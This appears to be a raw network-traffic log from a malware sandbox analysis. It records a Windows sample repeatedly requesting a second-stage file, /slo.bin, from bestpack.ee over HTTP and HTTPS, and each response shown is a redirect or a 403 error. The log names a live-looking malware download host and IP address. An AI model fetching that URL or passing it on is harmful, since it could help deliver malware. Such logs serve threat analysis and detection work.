2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49824	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:04:51.732355118 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:04:51.950937033 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:04:51 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49826	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:05:03.055321932 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:05:03.272316933 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:05:03 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49828	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:05:14.382500887 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:05:14.600861073 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:05:14 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49830	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:05:25.727962971 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:05:25.949950933 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:05:25 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49832	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:05:37.082010031 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:05:37.303551912 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:05:37 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49834	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:05:48.442399979 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:05:48.669481039 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:05:48 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49836	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:05:59.792244911 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:06:00.009735107 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:05:59 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49838	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:06:11.117706060 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:06:11.334454060 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:06:11 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49840	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:06:22.460724115 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:06:22.679668903 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:06:22 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49842	185.86.211.137	80	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:06:33.788108110 CEST	163	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: bestpack.ee Cache-Control: no-cache
Sep 27, 2024 19:06:34.009402990 CEST	427	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 17:06:33 GMT Server: Apache Location: https://bestpack.ee/slo.bin Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 70 61 63 6b 2e 65 65 2f 73 6c 6f 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bestpack.ee/slo.bin">here</a>.</p></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49761	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 16:58:48 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 16:58:48 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 16:58:48 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 16:58:48 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49763	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 16:58:59 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 16:59:00 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 16:58:59 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 16:59:00 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49765	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 16:59:10 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 16:59:11 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 16:59:11 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 16:59:11 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49767	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 16:59:22 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 16:59:22 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 16:59:22 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 16:59:22 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49769	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 16:59:33 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 16:59:34 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 16:59:34 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 16:59:34 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49771	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 16:59:45 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 16:59:45 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 16:59:45 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-09-27 16:59:45 UTC	83	IN	Data Raw: 3c 63 65 6e 74 65 72 3e 3c 62 72 20 2f 3e 3c 62 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 3e 3c 62 72 20 2f 3e 57 57 57 20 41 63 63 65 73 73 20 62 6c 6f 63 6b 65 64 20 2d 20 62 61 64 20 71 75 65 72 79 2f 75 72 6c 3c 2f 63 65 6e 74 65 72 3e Data Ascii: <center><br /><b>403 Forbidden</b><br />WWW Access blocked - bad query/url</center>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49773	185.86.211.137	443	6976	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 16:59:56 UTC	187	OUT	GET /slo.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: bestpack.ee Connection: Keep-Alive
2024-09-27 16:59:56 UTC	163	IN	HTTP/1.1 403 Forbidden Date: Fri, 27 Sep 2024 16:59:56 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
